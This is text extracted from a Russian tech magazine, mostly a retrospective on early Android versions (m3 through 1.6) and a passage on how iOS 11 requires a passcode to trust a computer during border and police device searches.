для  тех,  что  работа ют  на  более  ран них  вер сиях,  веро ятность  обновле ния
стре мит ся к нулю.

Проб лема Android вов се не в тоталь ной небезо пас ности сис темы, а в том,
что про изво дите ли не выпус кают обновле ний. И если Treble поможет решить
эту проб лему хотя бы час тично, это уже будет боль шая победа.
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КАКОЙ БЫЛА ПЕРВАЯ ВЕРСИЯ
САМОЙ ПОПУЛЯРНОЙ ОС И КАК
ОНА МЕНЯЛАСЬ СО ВРЕМЕНЕМ
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X‐MOBILE

Де сять  лет  назад  прог раммис ты  Google
выложи ли  в  откры тый  дос туп  пер вый  SDK
Android  и  пер вый  эму лятор,  с  помощью
которо го  мож но  было  оце нить  опе раци‐ 
онную  сис тему.  Тог да  мало  кто  вос при нял
новую  ОС  серь езно.  Тем  инте рес нее  пос‐ 
мотреть  на  пер вый  Android  сегод ня.  Мы
отко пали все аль фы и беты Android десяти‐ 
лет ней  дав ности,  тща тель но  их  про тес‐ 
тирова ли,  рас ковыря ли  внут реннос ти
и теперь готовы рас ска зать о том, что наш‐ 
ли.

ANDROID M3 И M5

Нем ногие зна ют, но пер вой пуб личной вер сией Android был вов се не Android
1.0, выпущен ный в 2008 году, ког да уже сущес тво вала  iPhone OS 2.0, а вер‐ 
сия под наз вани ем m3, вышед шая поч ти одновре мен но с пер вым iPhone.

Android m3

Этот эму лятор изоб ража ет HTC Sooner  (он же HTC EXCA 300),  который дол‐ 
жен  был  стать  пер вым  смар тфо ном  на  Android.  Вид но,  что  Google  метила
в биз нес‐сег мент поль зовате лей: вла дель цы BlackBerry, Nokia серии E, Sam‐
sung серии  i  (i780). Пос ле выхода  iPhone позиция Google рез ко поменя лась,
HTC Sooner был отме нен, а в эму лято ре Android m5, выпущен ном все го через
нес коль ко месяцев, изоб ражение смар тфо на ста ло более при выч ным.

Android m5

Нес мотря на наличие кла виату ры и джой сти ка, Android m3 под держи вал сен‐ 
сорное управле ние. На любой эле мент мож но было нажать, име лась под дер‐ 
жка  свай пов  (на  глав ном  экра не  свай паем  впра во  и  вле во  по  панели  при‐ 
ложе ний, тем самым прок ручивая менюш ку с эти ми самыми при ложе ниями).
Под дер жка  прок рутки  спис ков  жес том  тоже  была:  мож но,  нап ример,  прок‐ 
рутить веб‐стра ницу в бра узе ре.

Ис ходящий вызов и груп повой раз говор (m3)

Вот толь ко сен сорный экран никак не упро щал поль зование устрой ством. Он
был как буд то для галоч ки. Эле мен ты интерфей са слиш ком мел кие и не рас‐ 
счи таны на управле ние паль цем. Сов сем дру гое дело — вер сия m5: эле мен‐ 
ты  интерфей са  боль шие.  По  ним  слож но  про мах нуть ся.  Лаун чер  выг лядит
хоть и необыч но, но уже более зна комо (см. скрин шот): спра ва отоб ража ются
четыре пос ледних запущен ных при ложе ния.

Как  и  в  iPhone OS,  в  Android m3 был  пол ноцен ный бра узер. Сегод ня  он,
конеч но  же,  поч ти  не  работа ет,  все  вре мя  говорит  о  прос рочен ных  сер‐ 
тифика тах, жут ко тор мозит, мно гие сай ты либо не отоб ража ет, либо показы‐ 
вает с иска жени ями и незаг ружен ными эле мен тами.

Xakep.ru не откры вает ся, но WAP работа ет

Впро чем, бра узер не оставля ет впе чат ления сырого соф та. Он даже не хуже,
чем стан дар тные бра узе ры, которые ста вили на обыч ные телефо ны того вре‐ 
мени. Тут есть и зак ладки с исто рией, и фун кция отдель ной очис тки исто рии,
кеша, Cookies.

В m5  бра узер  уже  дру гой  и  заточен  под  сен сорное  управле ние,  одна ко
на этом отли чия закан чива ются.

Бра узер в m5

В обе их  вер сиях  есть  пре дус танов ленные  кар ты Google.  Толь ко  с  помощью
это го при ложе ния сами кар ты пос мотреть не удас тся — они не заг ружа ются.
К счастью, даже без них мож но оце нить интерфейс и фун кци ональ ность при‐ 
ложе ния.

Вот что зна чит прос тые кар ты (сле ва m3, спра ва m5)

Кра сота! Не прав да ли? Даже в вер сии «Гуг локарт» на Java было боль ше фун‐ 
кций (да, да, Google выпус кала свои кар ты для телефо нов с Java; они уме ли
опре делять мес тополо жение по сотовым выш кам и GPS и даже уме ли стро‐ 
ить мар шру ты).

Кон такты и пос ледние вызовы (m3)

За мет но, что m3 име ет боль ше обще го с обыч ными кно поч ными телефо нами
и на iOS он абсо лют но ничем не похож. Зато теперь мы зна ем, отку да в ста‐ 
рых смар тфо нах с Android есть кноп ка «Меню» — это ана лог пра вой кла виши
(или кла виши «Опции») на обыч ном телефо не.

В  свое  вре мя  Android  m3  мог  бы  стать  отличным  кон курен том  Symbian
и кно поч ным телефо нам. Срав нивать его с Android 8 не име ет смыс ла. Срав‐ 
нивать Android m5 c новым Android 8 тоже не сто ит, это явно кон цепт, который
в Google в спеш ке выкати ли пос ле релиза iPhone.

Android m3 — 12 нояб ря 2007 года. Вер сия API: неиз вес тно. Вер сия ядра
Linux: неиз вес тно. Это пер вая бета‐вер сия, дос тупная пуб лично.

•

Android  m5 —  13  фев раля  2008  года.  Вер сия  ядра:  2.6.23.  Вер сия  API:
неиз вес тно.

•

Android 0.9 — 18 августа 2008 года. Вер сия ядра: 2.6.25. Вер сия API: неиз‐ 
вес тно. Это релиз‐кан дидат. Поч ти ста биль ная вер сия.

•

Android 1.0 — 23 сен тября 2008 года. Вер сия API: 1. Вер сия ядра: 2.6.25.
Пер вая ста биль ная вер сия, то есть релиз.

•

Android 1.1 — 9 фев раля 2009 года. Вер сия API: 2. Вер сия ядра: 2.6.25.•
Android 1.5 — 30 апре ля 2009 года. Вер сия API: 3. Вер сия ядра: 2.6.27.•
Android 1.6 — 15 сен тября 2009 года. Вер сия API: 4. Вер сия ядра: 2.6.29.•

Пер вый смар тфон на ОС Android называл ся HTC Dream (так же известен как T‐
Mobile  G1).  Он  работал  под  управле нием  Android  1.0  (пер вая  сбор ка  TC4‐
RC19,  датиру емая  13  сен тября  2008  года)  и  был  выпущен  в  про‐ 
дажу 31 октября 2008 года. В ско ром вре мени он получил обновле ние до An‐
droid 1.1 и далее обновлял ся вплоть до Android 1.6.

Продолжение статьи →
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Android 1.0–1.5
Пос ле  заг рузки  видим  экран  бло киров ки.  По  сов ремен ным  мер кам  он  выг‐ 
лядит  ужас но,  но  поч ти  не  усту пает  экра ну  из  Android Oreo.  Раз ве  что  про‐ 
пущен ных событий и уве дом лений не хва тает. Для раз бло киров ки устрой ства
нуж но нажать кноп ку «Меню». Никакие свай пы тут не работа ют.

Эк ран бло киров ки

Ла унчер  выг лядит  зна комо.  Он  при нял  вид,  в  котором  будет  оста вать ся
вплоть  до  вер сии  Android  1.6.  Он  име ет  под дер жку  вид жетов  и  ярлы ков,
которые мож но сво бод но переме щать по рабоче му сто лу. В целом кон цепция
такая же, как и в Pixel Launcher, который уста нов лен по умол чанию в Android
7+. За тем исклю чени ем, что он не уме ет авто мати чес ки переме щать ярлы ки
на сво бод ное мес то и не поз воля ет менять раз мер вид жетов.

До маш ний экран

Как ни стран но, в 1.0 не было нас тро ек, они появи лись толь ко в 1.5.

Нас трой ки в Android 1.5

Па нель  уве дом лений  при сутс тву ет,  но  в  срав нении  с  сов ремен ными  вер‐ 
сиями ее фун кции сво дят ся толь ко к двум вещам: воз можнос ти нажать на уве‐ 
дом ление, что бы открыть при ложе ние, и воз можнос ти смах нуть уве дом ление.
Никакой  панели  быс трых  нас тро ек,  никаких  нас тро ек  показа  уве дом ления
и их бло киров ки. Уве дом ления не могут раз ворачи вать ся и содер жать кноп ки.
И конеч но же, здесь нет поза имс тво ван ной из iOS фун кции Heads Up, которая
выводит плаш ку с уве дом лени ем в вер хней час ти экра на.

Па нель уве дом лений

Кар ты в 1.0 до сих пор работа ют. Они уме ют отоб ражать объ екты (нап ример,
магази ны),  одна ко  не  показы вают  допол нитель ные  дан ные,  такие
как телефон, часы работы, посеща емость. Нет фун кции быс тро го поис ка поб‐ 
лизос ти нуж ных  заведе ний  (боль ниц,  кафе, баров,  зап равок,  супер марке тов
и  про чего).  Зато  по  сей  день  работа ет  режим  прос мотра  улиц.  Под дер жки
муль титача нет, да и вооб ще поль зовать ся край не неудоб но.

Кар ты

В  бра узе ре  появи лась  под дер жка  вкла док!  Очень  важ ные  изме нения  про‐ 
изош ли и внут ри: соз датели явно обно вили дви жок бра узе ра. Теперь он кор‐ 
рек тно рас позна ется сай тами как мобиль ный бра узер (да, в m5 и ниже бра‐ 
узер пытал ся заг ружать тяжело вес ную стра ницу для ПК) и работа ет куда быс‐ 
трее. Уда лось открыть глав ную стра ницу нашего жур нала. При попыт ке прос‐ 
мотреть  статью  бра узер  вылетел.  Впро чем,  как  я  поз же  выяс нил,  бра узер
любит  вылетать  при  откры тии  тяжело вес ных  сай тов  с  кучей  скрип тов  и  гра‐ 
фики.

Бра узер (сле ва), галерея (спра ва)

Му зыкаль ный пле ер (сле ва), сооб щения (спра ва)

1. m3 — вер сия для кно поч ных смар тфо нов без сен сорно го экра на. Эле мен‐ 
ты интерфей са мел кие, пре обла дают чер ный и синий цве та. При сутс тву ет
мно жес тво  эффектов  ани мации, меню и мно гие  дру гие  эле мен ты  полуп‐ 
розрач ные. Кноп ки в сти ле ста рой macOS.

2. m5 — интерфейс пол ностью переде лан под сен сорные экра ны, эле мен ты
управле ния ста ли нам ного  круп нее. Мно гие эффекты ани мации про пали.
В интерфей се пре обла дает белый цвет.

3. 3.0 —  новая  тема  офор мле ния Holo  (от Holographic):  тем ный фон,  яркие
эле мен ты  управле ния  с  пря мыми  лини ями  и  эффектом  све чения.
Экранные кла виши навига ции вмес то аппа рат ных.

4. 4.0  —  тот  же  Holo  без  эффекта  све чения.  Тем ный  фон  пре обла дает,
но так же исполь зует ся белый.

5. 5.0 — Material Design, переко чевав ший так же и в дру гие про дук ты Google.
Яркий плос кий интерфейс с тенями и слож ными эффекта ми ани мации.

Продолжение статьи →
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ТЕХНИЧЕСКИЕ АСПЕКТЫ
Ес ли  судить  по  начин ке HTC Dream,  рекомен дуемые сис темные  тре бова ния
Android 1.0 были при мер но такими:

сен сорный экран с раз решени ем 320×480;•
кла виши при ема и отбоя вызова, кноп ки «Меню», «Домой», «Назад»;•
про цес сор 528 МГц;•
ОЗУ 192 Мбайт;•
ПЗУ 256 Мбайт.•

Од нако  наше  неболь шое  рас сле дова ние  под твержда ет  (см.  скрин шоты)  —
ОС впол не мог ла бы умес тить ся в 128 Мбайт ПЗУ. На эму лиру емом устрой‐ 
стве  под  сис темный  раз дел  отве дено  64  Мбайт,  из  которых  сис темой
занято  42,3  Мбайт,  а  под  будущие  обновле ния  оставле но  23,2  Мбайт.  В 

  (дан ные прог рамм и сто рон ние при ложе ния) из 64 Мбайт занято 29,8,
а  сво бод но  35,7.  Под  кеш  выделе но  тоже  64 Мбайт,  одна ко  тре бует ся  ему
толь ко 1,1. В ито ге: сис тема занима ет 73 Мбайт, а осталь ное мож но оста вить
под  сто рон ние  при ложе ния,  которые  в  то  вре мя  не  час то  весили  боль ше
мегабай та.

/
data

Рас пре деле ние ПЗУ

Дос таточ ный для работы ОС объ ем ОЗУ — 64 Мбайт, во‐пер вых, потому, что
в эму лято ре сис тема прек расно обхо дит ся 92, а во‐вто рых, в ста рые вре мена
китай цы кле пали смар тфо ны с 64 Мбайт и они прек расно работа ли (как вла‐ 
делец одно го из таких, под тверждаю. — Прим. ред.).

Рас пре деле ние ОЗУ

Пос мотрим, что пред став лял собой образ с сис темой. Для это го рас паку ем
.  В  сжа том  виде  этот  образ  занима ет  все го  26 Мбайт,  а  пос ле

рас паков ки — 41,3 Мбайт. По сегод няшним мер кам, ког да обыч ное при ложе‐ 
ние может  весить 100 Мбайт,  это прос то  копей ки. Одна ко  это пол ноцен ная
опе раци онная сис тема,  которая уме ет мно гое из  того, что уме ет сов ремен‐ 
ный Android.

system.img

Струк тура катало гов Android 1.0 (сле ва) и 7.1 (спра ва)

Все сис темные при ложе ния и сер висы находят ся в катало ге  . В сов ремен‐ 
ном  Android  при ложе ния  с  осо быми  при виле гиями  (в  основном  это  сис‐ 
темные сер висы) вынесе ны в отдель ный каталог  .

app

priv‐app
От кры ваем    и  видим  великое  чудо:  прог раммы  занима ют  нич тожно

мало  мес та.  Самые  жир ные:  лаун чер  (1,32 Мбайт)  и  бра узер  (0,98 Мбайт).
Встре чают ся  при ложе ния  раз мером  мень ше  100  Кбайт  (дик тофон  —
44,4 Кбайт, каль кулятор — 86,1 Кбайт, прос мотр улиц — 94,9 Кбайт).

app

Это все при ложе ния Android 1.0

Заг лянем  в  пап ку  .  Тут  хра нят ся  кон фигура цион ные  фай лы  (нас трой ки)
раз личных сис темных  ути лит. Инте рес пред став ляет  каталог  . Судя
по наз ванию и фай лам, содер жащим ся в нем, Android 1.0 под держи вает OTA‐
обновле ния.

etc
otacerts

Ка тало га  lib64  нет,  ОС  не  под держи вает  64‐бит ные  при ложе ния.  Биб‐ 
лиоте ки  Java‐клас сов  (framework)  занима ют  все го  6,3  Мбайт  (в  срав нении
с 251,3 Мбайт в сов ремен ной вер сии).

Вы пол няем коман ду   и узна ем, что Android изна чаль но исполь зовал
фай ловую  сис тему  yaffs2,  пред назна чен ную  для  работы  на  флеш ках
с  высоким  уров нем  изно са  (в  то  вре мя  качес тво  NAND‐памяти  оставля ло
желать  луч шего,  час то  появ лялись битые  сек тора).  Yaffs была одно поточ ной
фай ловой  сис темой  с  низ кой  про изво дитель ностью,  поэто му  в  вер‐ 
сии  2.3  прог раммис ты  Google  ее  выпили ли,  заменив  на  клас сичес кую
для сис тем на ядре Linux ext4.

mount

Еще  одна  осо бен ность  Android  1.0 —  отсутс твие  JIT‐ком пилято ра.  Офи‐ 
циаль ным  язы ком  Android  всег да  был  Java,  но  в  качес тве  вир туаль ной
машины для исполне ния при ложе ний здесь исполь зовалась более эффектив‐ 
ная  в  пла не  пот ребле ния  памяти  регис тро вая  ВМ Dalvik  (в  про тиво вес  сте‐ 
ковой  вир туаль ной  машине  Java).  Она  хоть  и  была  менее  тре бова тель ной
к  опе ратив ной  памяти,  но  серь езно  про игры вала  обыч ной  Java  в  ско рос ти
исполне ния при ложе ний.

Google  испра вила  это  толь ко  в  вер сии  2.2,  реали зовав  наконец  JIT‐ком‐ 
пилятор,  который  вмес то  интер пре тации  байт‐кода  на  лету  перево дил  его
в машин ные инс трук ции. В Android 5.0 ему на сме ну при шел AOT‐ком пилятор,
который  кон верти ровал  прог рамму  в  машин ные  инс трук ции  при  уста нов ке,
замед ляя таким обра зом про цесс инстал ляции и лишая вир туаль ную машину
мно гих воз можнос тей опти миза ции.

Что бы  это  испра вить,  в  Android  7  решили  исполь зовать  гиб ридный
JIT/AOT‐ком пилятор.  Сра зу  пос ле  уста нов ки  при ложе ние  исполня ется
с  исполь зовани ем  JIT‐ком пилято ра,  но  во  вре мя  прос тоя  смар тфо на
на  заряд ке  под клю чает ся  AOT‐ком пилятор  и  перего няет  при ложе ние
в  машин ные  инс трук ции  с  помощью  AOT‐ком пилято ра  (на  самом  деле  все
нам ного слож нее, но для объ ясне ния нюан сов пот ребова лась бы отдель ная
статья).

Ин терес но,  что  в  Android  1.0  уже  были  песоч ницы  для  при ложе ний.
И  реали зова ны  они  были  весь ма  любопыт но.  Каж дое  при ложе ние  запус‐ 
калось от име ни отдель ного поль зовате ля Linux и, таким обра зом, име ло дос‐ 
туп толь ко к сво ему катало гу внут ри  ./data/data

Ка тало ги при ложе ний при над лежат раз ным поль зовате лям и дос тупны
для чте ния и модифи кации толь ко им

Друг с дру гом и с опе раци онной сис темой при ложе ния мог ли общать ся толь‐ 
ко через IPC‐механизм Binder, который тре бовал авто риза ции на выпол нение
дей ствий.  Этот  же  механизм  исполь зовал ся  и  для  нес коль ко  дру гих  целей:
с его помощью сис тема опо веща ла при ложе ния о сис темных событи ях, таких
как  вхо дящий  вызов,  при шед шее  SMS,  вты кание  заряд ки  и  так  далее.  При‐ 
ложе ния получа ли сооб щения и мог ли на них отре аги ровать.

Из‐за этой осо бен ности в Android были широкие воз можнос ти авто мати‐ 
зации, о  которых мы зна ем бла года ря  таким при ложе ниям,  как  Tasker, Auto‐
mate  или  Locale.  Все  эти  при ложе ния  дос тупны  и  для  Android  8,  раз ве  что
некото рые опас ные воз можнос ти, такие как вклю чение и вык лючение режима
полета, теперь зап рещены для исполь зования обыч ными при ложе ниями.

В Android 1.0 не было под дер жки push‐уве дом лений и никаких огра ниче‐ 
ний на работу при ложе ний в фоне. Пос ледним час то поль зовались кри вору‐ 
кие  раз работ чики,  соз давав шие  при ложе ния,  которые  быс тро  выжира ли
заряд акку муля тора. Google испра вила эту проб лему толь ко в Android 8, зап‐ 
ретив запуск фоновых служб (прав да, до нее это же успе ли сде лать раз работ‐ 
чики китай ских про шивок вро де MIUI).

Ну  и  самое  глав ное —  пер вый  Android  тор мозил.  И  тор мозил  он  вплоть
до  вер сии  3.0,  которая  наконец  научи лась  исполь зовать  гра фичес кий  про‐ 
цес сор для обра бот ки 2D‐гра фики. Почему такой фун кции не было изна чаль‐ 
но? Прос то потому, что Android дол жен был работать на всем, вклю чая самые
дешевые смар тфо ны, в которые в то вре мя гра фичес кий уско ритель не пре‐ 
дус танав ливали.

ПАРАДОКС НОВИЗНЫ И БЕЗОПАСНОСТИ
Год  от  года  раз работ чики  Google  добав ляли  в  Android  новые  механиз мы
защиты. Поэто му на пер вый взгляд может показать ся, что Android 1.0 и 8.0 —
это как Windows 95 и 10 в пла не безопас ности. Но это не сов сем так. Как мы
уже выяс нили,  в  дизай не ОС изна чаль но сущес тво вали песоч ницы для при‐ 
ложе ний, IPC‐механизм и сис тема раз решений с мно гоуров невой про вер кой
пол номочий (вплоть до ядра Linux). Боль шая часть ОС была написа на на язы‐ 
ке Java, из‐за сво его дизай на не поз воля ющем писать код, в котором мож но
выз вать перепол нение буфера, вый ти за гра ницы мас сива, пов торно исполь‐ 
зовать осво бож денную память и при менять дру гие при емы взло ма.

Од нако  со  вре менем  опе раци онная  сис тема  обраста ла  новыми фун кци‐ 
ями и воз можнос тями. А чем слож нее и длин нее код,  тем труд нее его отла‐ 
живать  и  исправ лять ошиб ки. По мере раз вития  сис темы появ лялись целые
под систе мы, при год ные для экс плу ата ции зло умыш ленни ками.

Нап ример,  в  1.0  не было муль тимеди абиб лиоте ки  stagefright  (она  появи‐ 
лась в Android 2.3), в которой наш ли  , поз воля ющих взло‐ 
мать смар тфон, отпра вив на него MMS или поп росив поль зовате ля открыть
спе циаль ную ссыл ку.

мас су уяз вимос тей

В Android 1.0  не было и  сер виса Accessibility  («Спе циаль ные воз можнос‐ 
ти»), с помощью которо го мож но получить пол ный кон троль над смар тфо ном.
Не  было  так же  режима  адми нис тра тора,  который  так  любят  исполь зовать
вирусы, что бы защитить ся от уда ления.

С  дру гой  сто роны,  тог да  не  сущес тво вало  мно гих  внед ренных  поз же
средств защиты:  ,  ,  сис темы зап роса пол номочий при ложе‐ 
ния  и  управле ния  ими,  механиз ма  про вер ки  целос тнос ти  сис темы  Verified
Boot, который появил ся в Android 4.4, но пол ноцен но начал работать толь ко
в  7.0, шиф рования дан ных,  защиты от  даун грей да,  онлайн‐анти виру са  Verify
Apps,  работа юще го  со  вре мен  4.2.  На  самом  деле  ты  даже  PIN‐код  не  мог
уста новить на экран.

SELinux Seccomp

В янва ре 2009 года в Android Market появи лась Opera Mini 4.2. Инте рес на она
преж де  все го  тем,  что  это  самая  обыч ная  Opera  Mini  4.2  для  телефо нов,
которая  работа ет  внут ри  эму лято ра  Java  ME.  Отоб ража ет  стра ницы  до  сих
пор прек расно (спа сибо сер веру сжа тия).

Один  из  самых  ори гиналь ных  лаун черов  для  Android.  Показы вает  мно го
полез ной информа ции на глав ном экра не. Прек расно работа ет в 1.5.

В то вре мя это была все го лишь обер тка для мобиль ной вер сии сай та. До сих
пор работа ют все фун кции.

Фай ловый менед жер с прек расным набором фун кций даже по сегод няшним
мер кам. Занима ет все го 1,87 Мбайт.

ЗАКЛЮЧЕНИЕ
Android 1.0 опре делен но очень инте рес ная ОС. Она весь ма ком пак тна, может
работать  в  усло виях  жес тко го  огра ниче ния  ресур сов.  Архи тек тура  Android
изна чаль но была пра виль ной, и было бы глу по говорить о том, что в нор маль‐ 
ную опе раци онную сис тему Android прев ратил ся толь ко недав но.

https://xakep.ru/tag/stagefright/
https://xakep.ru/2011/09/06/56714/
https://xakep.ru/2017/09/15/android-8/#toc05.
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Мы уже   о нов шес твах iOS 11:
новый  «Центр  управле ния»,  мно гоза дач‐ 
ность,  ARKit.  Это  инте рес ные  изме нения,
но  не  такие  важ ные,  как  новые механиз мы
защиты.  В  этой  статье  мы  рас ска жем,
как iOS 11 сох ранит твои дан ные в безопас‐ 
ности,  защитит  тебя  от  пог ранич ников
и  полицей ских,  жела ющих  покопать ся
в смар тфо не.

рас ска зыва ли

ПРЕДЫСТОРИЯ

Эта  статья  —  резуль тат  иссле дова ний,  про веден ных  в  лабора тории
«Элкомсофт».  По  ито гам  этих  иссле дова ний  была  опуб ликова на  статья,
которая неожи дан но выз вала широчай ший резонанс в аме рикан ских, бри тан‐ 
ских  и  даже  немец ких  СМИ.  Иссле дова ние  обсужда лось  в  таких  изда ниях,
как  The  Verge,  Mashable,  Heise.de,  Gizmodo,  ARS  Technica,  Fortune,  и  осве‐ 
щалось  в  спе цифи чес ких юри дичес ких жур налах. Шквал  пуб ликаций  не  зат‐ 
ронул рус ско языч ных читате лей: в нашей стра не дру гие законы, дру гие пра ва
и тре бова ния.

Мы рас смот рим не  толь ко  то,  что,  собс твен но,  сде лали  в Apple,  но  и  то,
как  это  пов лияет  на  безопас ность  дан ных  поль зовате лей  в  раз ных  стра нах.
Осо бен но  инте рес но  будет  срав нить  пос ледс твия  чис то  тех ничес ких  шагов
для поль зовате лей из США и Рос сии.

ПРОТИВОДЕЙСТВИЕ ДОСМОТРУ

В  одном  из  пре дыду щих  выпус ков  мы  под робно  рас смат ривали,  что  может
и  чего  не  может  делать  с  телефо ном  пог ранич ник.  Мы  выяс нили,  что  пог‐ 
ранич ник име ет пра во пот ребовать от поль зовате ля раз бло киро вать устрой‐ 
ство; может и унес ти его в неиз вес тном нап равле нии.

Что про исхо дит с раз бло киро ван ным телефо ном за зак рытыми две рями?
С помощью нес ложной про цеду ры с устрой ства сни мает ся образ дан ных (для
iPhone,  как  пра вило,  исполь зует ся  опе рация  соз дания  резер вной  копии),
пос ле чего образ ана лизи рует ся с помощью спе циали зиро ван ного прог рам‐ 
мно го  обес печения.  Пло хо  здесь  как  то,  что  в  резер вную  копию  попада ют
абсо лют но все твои пароли из связ ки клю чей Keychain,  так и  то, что вся эта
информа ция оста нет ся в руках  государс тва на мно го лет. Не  хочешь,  что бы
за  тобой  сле дили?  Тог да  тебе  при дет ся менять  все  пароли от  сох ранен ных
в связ ке клю чей учет ных записей.

Пра вовой ста тус подоб ных дей ствий весь ма сом нителен. Да,  у  тебя есть
пра во сто ять на сво ем и не раз бло киро вать телефон — но у тех же аме рикан‐ 
ских пог ранич ников, в свою оче редь, есть пра во посадить тебя на обратный
рейс  или,  если  ты  аме рикан ский  граж данин,  прос то  задер жать  тебя
без предъ явле ния обви нения.

По хоже, в Apple в кур се ситу ации, и они решили вста вить пал ки в колеса
как ведомс тву, обес печива юще му охра ну гра ниц, так и полицей ским, которые

 на осно ве весь‐ 
ма сом нитель ных орде ров.
по вади лись раз бло киро вать устрой ства отпе чат ками паль цев

Как это было сде лано? Все го одно неболь шое новов ведение — и жизнь
пог ранич ников и полицей ских зна читель но осложня ется.

УСТАНОВЛЕНИЕ ДОВЕРИЯ: ТЕПЕРЬ ПОД ПАРОЛЕМ

Что  было  рань ше?  Пог ранич нику  дос таточ но  было  зас тавить  тебя  раз бло‐ 
киро вать  телефон  (как  пра вило,  при  помощи  ска нера  отпе чат ков  паль цев).
Далее iPhone мож но под клю чить к компь юте ру и сли вать дан ные при помощи
iTunes  или  спе циали зиро ван ного  соф та.  Никаких  допол нитель ных  дей ствий
не тре бует ся. Да, на резер вную копию мож но уста новить пароль, в том чис ле
дос таточ но слож ный; но, положа руку на сер дце, какой про цент поль зовате‐ 
лей вооб ще об этом зна ет? Ста тис тика неумо лима: про цент — мизер ный.

В  iOS  11  подоб ным  ситу ациям  нас тал  конец.  Давай  срав ним,  что  было
рань ше и как ста ло теперь.

Что было рань ше: iOS 8 — iOS 10

Для того что бы «свя зать»  iPhone с компь юте ром, в пре дыду щих вер сиях  iOS
нуж но было выпол нить сле дующие дей ствия:
1. Под клю чить iPhone к компь юте ру.
2. Раз бло киро вать iPhone паролем или с помощью дат чика отпе чат ков паль‐ 
цев.

3. На жать «Доверять» на зап рос «Доверять это му компь юте ру?».
4. На жать «Про дол жить» в iTunes.

Ста ло: iOS 11

С выходом iOS 11 пос ледова тель ность изме нилась:
1. Под клю чить iPhone к компь юте ру.
2. Раз бло киро вать iPhone паролем или с помощью дат чика отпе чат ков паль‐ 
цев.

3. На жать «Доверять» на зап рос «Доверять это му компь юте ру?».
4. На жать «Про дол жить» в iTunes.
5. Ес ли на  iPhone уста нов лен пароль,  то на экра не  телефо на появит ся зап‐ 
рос,  тре бующий  ввес ти  пароль  устрой ства,  что бы  под твер дить  уста нов‐ 
ление  доверен ного  ста туса.  Крип тогра фичес кий  ключ  будет  передан
на компь ютер толь ко пос ле вво да кор рек тно го пароля.

Итак,  все го один неболь шой лиш ний шаг — и боль шие проб лемы у  тех,  кто
попыта ется  ска чать  дан ные  с  тво его  iPhone.  Толь ко  лишь  дан ных  Touch  ID
теперь недос таточ но для под клю чения телефо на к компь юте ру. Да, пог ранич‐ 
ник  по‐преж нему  может  пот ребовать  у  тебя  раз бло киро вать  устрой ство.
Но теперь вмес то того, что бы извлечь из него всю информа цию и прог нать ее
через ана лити чес кую прог рамму, ему при дет ся  вруч ную запус кать при ложе‐ 
ния на смар тфо не и пытать ся разоб рать ся с его содер жимым.

Ну и пожалуй, самое важ ное: все твои пароли из связ ки клю чей Keychain
таким обра зом оста нут ся сек ретом. В iOS прос то не сущес тву ет (по понят ным
при чинам)  никако го  механиз ма,  который  поз волил  бы  кому  угод но —  даже
тебе  самому  —  прос мотреть  на  телефо не  сох ранен ные  пароли.  Так  риск
утеч ки тво ей пер сональ ной информа ции при пересе чении гра ницы сво дит ся
к миниму му.

Юри дичес кие замороч ки

Что  меша ет  полиции  узнать  у  тебя  пароль  на  смар тфон?  Имен но  здесь
на  твою  сто рону  ста новит ся  одно  из  кра еуголь ных  положе ний юрис пру ден‐ 
ции, гла сящее, что у каж дого челове ка есть пра во не сви детель ство вать про‐ 
тив самого себя. Таким обра зом, зас тавить тебя раз бло киро вать устрой ство,
при ложив твой палец или сфо тог рафиро вав твое лицо, полицей ский или пог‐ 
ранич ник  может  (в  слу чае  с  полицей ски ми  пот ребу ется  ордер).  А  вот  зас‐ 
тавить тебя сооб щить пароль на устрой ство — это уже те самые показа ния,
которые ты име ешь пра во не давать, и нас таивать в такой ситу ации работ ник
пра воох ранитель ных орга нов не име ет пра ва.

Ра зуме ется,  детали  могут  раз личать ся  в  раз ных  юрис дикци ях.  Мы  свя‐ 
зались с работ никами пра воох ранитель ных орга нов раз ных стран. Резуль таты
были…  раз нооб разны ми.  Так,  в  замеча тель ной  стра не  Тур ции  подоз рева‐ 
емый не может отка зать ся от выдачи пароля от устрой ства; в про тив ном слу‐ 
чае  про тив  него  может  быть  выд винуто  обви нение  в  сок рытии  улик.
В Великоб ритании пароль от устрой ства при рав няли к отпе чат ку паль ца; раз‐ 
бло киро вать  устрой ство  могут  зас тавить.  А  вот  в  Соеди нен ных  Шта тах,
на  которые,  собс твен но,  и  при ходит ся  пик  про даж  iPhone,  от  полиции  тре‐ 
буют ся  совер шенно  раз личные  телод вижения  для  того,  что бы  раз бло киро‐ 
вать устрой ство самос тоятель но, и для того, что бы пот ребовать исполь зовать
отпе чаток  паль ца.  Поп росить  сооб щить  пароль  полиция  может  (работа  «на
испуг»),  одна ко  в  слу чае  отка за  негатив ных  пос ледс твий  в  суде  для  подоз‐ 
рева емо го не будет.

А как обсто ят дела в Рос сии? Нам уда лось получить ком мента рий от пред‐ 
ста вите ля МВД. Взгля нем на ситу ацию со сто роны пра воох ранитель ных орга‐ 
нов.

Во‐пер вых, есть раз ница меж ду опе ратив но‐разыс кны ми мероп риятиями
и  следс тви ем.  Пер вое  регули рует ся  Законом  об  ОРД,  вто рое  —  Уго лов‐ 
но‐про цес суаль ным кодек сом, УПК.

Во‐вто рых,  ни  в  том  ни  в  дру гом  слу чае  по  закону  нет  раз ницы  меж ду
получе нием  отпе чат ка  (уточ ним:  раз бло киров кой  отпе чат ком)  и  паролем.
В  каж дом  кон крет ном  слу чае  мож но  исполь зовать  или  и  то  и  дру гое,
или  ничего.  Да,  докумен ты  для  суда  готовят ся  раз ные —  но  раз ница  здесь
не  меж ду  раз бло киров кой  с  помощью  отпе чат ка  паль цев  или  при  помощи
пароля, а меж ду опе ратив но‐разыс кной деятель ностью и следс тви ем.

В‐треть их,  если  в  США  дей ству ет  Пятая  поп равка  к  кон сти туции,  то
у нас — 51‐я статья Кон сти туции, дающая пра во не сви детель ство вать про тив
себя и сво их близ ких. Это озна чает,  что если дело  каса ется  тебя или  тво их
близ ких,  то  ты  име ешь  пра во  отка зать ся  раз бло киро вать  устрой ство
с  помощью  дат чика  отпе чат ков  или  сооб щать  пароль;  никаких  неп рият ных
пос ледс твий для тебя в этом слу чае не будет. Если же ты про ходишь по делу
сви дете лем,  то  за  отказ  раз бло киро вать  телефон  тебе  могут  вме нить  пре‐ 
пятс тво вание следс твию со все ми вытека ющи ми.

В‐чет вертых, сущес тву ет понятие осо бо тяж ких прес тупле ний, при которых
могут огра ничить любые кон сти туци онные пра ва. Сюда вхо дят  терак ты, эко‐ 
номи чес кая безопас ность государс тва и про чее, по решению суда. Эта про‐ 
